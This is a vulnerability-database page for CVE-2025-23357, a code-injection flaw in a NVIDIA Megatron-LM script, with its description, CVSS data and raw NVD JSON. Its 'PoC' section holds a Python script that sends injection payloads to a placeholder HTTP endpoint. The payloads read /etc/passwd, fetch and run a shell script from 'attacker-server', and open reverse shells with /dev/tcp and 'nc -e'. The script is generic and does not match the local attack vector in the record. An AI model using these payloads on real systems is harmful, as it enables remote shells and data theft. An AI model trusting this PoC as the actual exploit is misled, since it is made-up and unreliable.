Security Vulnerability Report
中文
CVE-2025-23357 CVSS 7.8 HIGH

CVE-2025-23357

Published: 2025-11-11 17:15:41
Last Modified: 2026-04-15 00:35:42

Description

NVIDIA Megatron-LM for all platforms contains a vulnerability in a script, where malicious data created by an attacker may cause a code injection issue. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, data tampering.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NVIDIA Megatron-LM < 修复版本
NVIDIA Megatron-LM (all platforms)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-23357 PoC - NVIDIA Megatron-LM Code Injection # Note: This is a conceptual PoC for demonstration purposes only import requests import json TARGET_URL = "http://target-host:port/megatron-lm-endpoint" def check_vulnerability(): """ Check if target is vulnerable to CVE-2025-23357 """ headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Malicious payload that attempts code injection malicious_payload = { "script_data": "$(whoami)", "input_param": "test && cat /etc/passwd", "command": "| ls -la" } try: response = requests.post(TARGET_URL, json=malicious_payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Target may be vulnerable") print(f"Response: {response.text}") else: print(f"[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def exploit_cve_2025_23357(): """ Exploit CVE-2025-23357 for code execution """ exploit_payload = { "script_data": "$(curl http://attacker-server/shell.sh | bash)", "input_param": "| bash -i >& /dev/tcp/attacker-ip/port 0>&1", "command": ";nc -e /bin/bash attacker-ip port" } headers = { "Content-Type": "application/json" } try: response = requests.post(TARGET_URL, json=exploit_payload, headers=headers, timeout=10) print(f"[*] Exploit sent") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-23357 - NVIDIA Megatron-LM Code Injection") print("Use only for authorized security testing") check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-23357", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:41.070", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Megatron-LM for all platforms contains a vulnerability in a script, where malicious data created by an attacker may cause a code injection issue. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23357", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5712", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-23357", "source": "[email protected]"}]}}